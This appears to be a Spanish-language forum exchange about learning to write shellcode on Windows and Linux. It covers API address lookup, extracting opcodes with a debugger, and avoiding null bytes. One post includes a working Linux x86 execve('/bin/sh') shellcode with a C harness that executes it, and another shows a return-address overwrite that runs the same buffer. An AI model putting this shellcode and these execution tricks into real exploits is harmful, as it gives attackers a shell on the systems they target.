Que yo sepa en Windows las llamadas al sistema no cambian, solo lo hacen entre versiones. Esa shellcode solo ira en tu PC, pero seguira llendo al reiniciar.
pero en realidad he comprobado que cambia cada vez que arranco y la razón podría ser que yo obtengo la dirección, mediante un programa en vc++ que carga el kernel32.dll y obtiene la dirección de las funciones mediante getprocadress. He visto otros métodos que lo sacaban buscando en las dependencias del propio ejecutable, de todas formas como ya he dicho no tiene mayor importancia para lo que yo estoy haciendo.
Pues lo que tienes que hacer es sencillamente meterla en un programa y abrirlo con Olly o GDB... Lo que puedes hacer es meterle unos cuantos NOPS que resalten antes y despues de tu shellcode, encuentras los nops y copias... En linux uso "hexdump -C" pero en Windows haria eso...
perfecto es la solución adecuada, pero todavía tengo problemas cuando aparece una cadena nula (no sé cómo elimminarla). He visto que se pueden utilizar xor para evitar cadenas nulas, pero en mi caso es el argumento que le paso a la función sleep, que es de 270f0000, con lo cual esos cuatro ceros del final no se cómo deshacerme de ellos, a no ser cambiando el valor que le paso a sleep y en lugar de 9999, le paso 99999999 (es una opción).
Para ejecutarla se suele hacer algo asi:
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}
y esto me da un error(c2440):
type_cast, cannot conver from char[20] to void (__cdecl*)(void)
y con respecto al que puse yo...
int *ret;
ret=(int *)&ret+2;
printf("%d bytes\n", sizeof(code));
(*ret) = (int)code;compila pero dudo mucho que sea el correcto para ejecutar la shellcode, es el único de los que encontré en internet que me compilaba y por eso decidí usarlo, no obstante el que más se utiliza es el que tú pones, el problema es que me da ese error al compilar. Yo uso el microsoft visual c++ 2008, no se si será por el compilador...
un saludo!